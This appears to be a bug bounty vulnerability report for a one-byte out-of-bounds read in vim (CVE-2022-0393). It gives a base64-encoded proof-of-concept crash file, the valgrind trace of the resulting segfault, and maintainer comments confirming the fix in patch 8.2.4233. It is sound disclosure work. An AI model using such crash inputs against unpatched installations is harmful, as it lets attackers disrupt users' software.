

# Out-of-bounds Read in vim/vim



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## Description

Out of bound 1 byte read in vim.

commit : 06b77229ca704d00c4f138ed0377556e54d5851f

## Proof of Concept

```
$ echo -ne "c2lsMG5vcn0WcTAHMA==" | base64 -d > minimized_poc
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# valgrind
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$ ./vg-in-place -s ./vim -u NONE -i NONE -n -X -Z -e -s -S ./minimized_poc
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==3442167== Invalid read of size 1
==3442167==    at 0x4842646: strlen (vg_replace_strmem.c:494)
==3442167==    by 0x1FFD1F: delete_buff_tail (getchar.c:255)
==3442167==    by 0x2017AE: ungetchars (getchar.c:1350)
==3442167==    by 0x263B20: normal_cmd (normal.c:1065)
==3442167==    by 0x1D465B: exec_normal (ex_docmd.c:8629)
==3442167==    by 0x1D459F: exec_normal_cmd (ex_docmd.c:8592)
==3442167==    by 0x1D43AD: ex_normal (ex_docmd.c:8510)
==3442167==    by 0x1C945C: do_one_cmd (ex_docmd.c:2567)
==3442167==    by 0x1C66E7: do_cmdline (ex_docmd.c:993)
==3442167==    by 0x2F670E: do_source (scriptfile.c:1512)
==3442167==    by 0x2F5B5A: cmd_source (scriptfile.c:1098)
==3442167==    by 0x2F5B9F: ex_source (scriptfile.c:1124)
==3442167== Address 0x8 is not stack'd, malloc'd or (recently) free'd
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==3442167== Process terminating with default action of signal
==3442167==    at 0x4A2755B: kill (syscall-template.S:78)
==3442167==    by 0x28FE95: may_core_dump (os_unix.c:3510)
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==3442167==    by 0x28FE49: mch_exit (os_unix.c:3476)
==3442167==    by 0x40A23D: getout (main.c:1721)
==3442167==    by 0x25302A: preserve_exit (misc1.c:2194)

==3442167==    by 0x28E405: deathtrap (os_unix.c:1156)
==3442167==    by 0x4A2720F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
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==3442167==
==3442167== HEAP SUMMARY:
==3442167==     in use at exit: 99,976 bytes in 455 blocks
==3442167==   total heap usage: 984 allocs, 529 frees, 209,822 bytes allocated
==3442167==
==3442167== LEAK SUMMARY:
==3442167==    definitely lost: 1,232 bytes in 1 blocks
==3442167==    indirectly lost: 0 bytes in 0 blocks
==3442167==    possibly lost: 0 bytes in 0 blocks
==3442167==    still reachable: 98,744 bytes in 454 blocks
==3442167==           suppressed: 0 bytes in 0 blocks
==3442167== Rerun with --leak-check=full to see details of leaked memory
==3442167==
==3442167== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==3442167==
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Segmentation fault



## Occurrences

 getchar.c L255

### CVE

CVE-2022-0393

(Published)

### Vulnerability Type

CWE-125: Out-of-bounds Read

### Severity

High (8.4)

### Visibility

Public

### Status

Fixed

### Found by



alkyne Choi

@alkyne

unranked ▼

### Fixed by



Bram Moolenaar

@brammool

maintainer

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This report was seen 638 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

**alkyne Choi** modified the report 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

**Bram Moolenaar** 10 months ago

Maintainer

Finally a nice short POC. I can reproduce it, fix coming soon.

**Bram Moolenaar** validated this vulnerability 10 months ago

**alkyne Choi** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

**Bram Moolenaar** 10 months ago

Maintainer

Fixed with patch 8.2.4233

**Bram Moolenaar** marked this as fixed in 8.2 with commit **a4bc2d** 10 months ago

**Bram Moolenaar** has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

**getchar.c#L255** has been validated ✓

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